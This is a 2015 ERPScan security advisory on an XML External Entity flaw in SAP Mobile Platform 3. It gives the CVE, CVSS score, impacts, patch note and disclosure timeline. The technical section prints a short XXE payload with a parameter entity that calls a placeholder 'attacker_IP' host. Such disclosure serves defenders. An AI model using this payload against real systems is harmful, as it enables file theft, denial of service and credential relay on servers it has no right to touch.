SAP Mobile Platform 3 XXE Injection
Posted on 10 September 2015
ERPSCAN Research Advisory [ERPSCAN-15-014] SAP Mobile Platform 3 – XXE in Add Repository Application: SAP Mobile Platform Versions Affected: SAP Mobile Platform 3, probably others Vendor URL: http://SAP.com Bugs: XML External Entity Sent: 13.03.2015 Reported: 14.03.2015 Vendor response: 14.03.2015 Date of Public Advisory: 15.06.2015 Reference: SAP Security Note 2159601 Author: Vahagn Vardanyan (ERPScan) Description 1. ADVISORY INFORMATION Title: SAP Mobile Platform 3 Advisory ID: [ERPSCAN-15-014] Risk: High Advisory URL: http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/ Date published: 15.06.2015 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: XML External Entity [CWE-611] Impact: information disclosure, denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-5068 CVSS Information CVSS Base Score: 5.5 / 10 CVSS Base Vector: AV : Access Vector (Related exploit range) Network (N) AC : Access Complexity (Required attack complexity) Low (L) Au : Authentication (Level of authentication needed to exploit) Single (S) C : Impact to Confidentiality Partial (P) I : Impact to Integrity None (N) A : Impact to Availability Partial (P) 3. VULNERABILITY DESCRIPTION 1) An attacker can read an arbitrary file on a server by sending a correct XML request with a crafted DTD and reading the response from the service. 2) An attacker can perform a DoS attack (for example, XML Entity Expansion). 3) An SMB Relay attack is a type of Man-in-the-Middle attack where the attacker asks the victim to authenticate into a machine controlled by the attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways and gets access. 4. VULNERABLE PACKAGES SAP NetWeaver AS Java 7.4 Other versions are probably affected too, but they were not checked. 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2159601. 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION SAP XML parser validates all incoming XML requests with a user-specified DTD. Тhe vulnerability is presented in the field for adding a new repository. When an administrator adds the URL for a new repository and saves, SAP Mobile Platform searches for these files in remote URL: - remote_URLcontent.xml - remote_URLartifacts.xml The attacker can change content.xml or artifacts.xml and add malicious code. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker_IP/"> %remote;]> <root/> 8. REPORT TIMELINE Sent: 13.03.2015 Reported: 14.03.2015 Vendor response: 14.03.2015 Date of Public Advisory: 15.06.2015 9. REFERENCES http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/ 10. ABOUT ERPScan Research The company’s expertise is based on the research subdivision of ERPScan, which is engaged in vulnerability research and analysis of critical enterprise applications. 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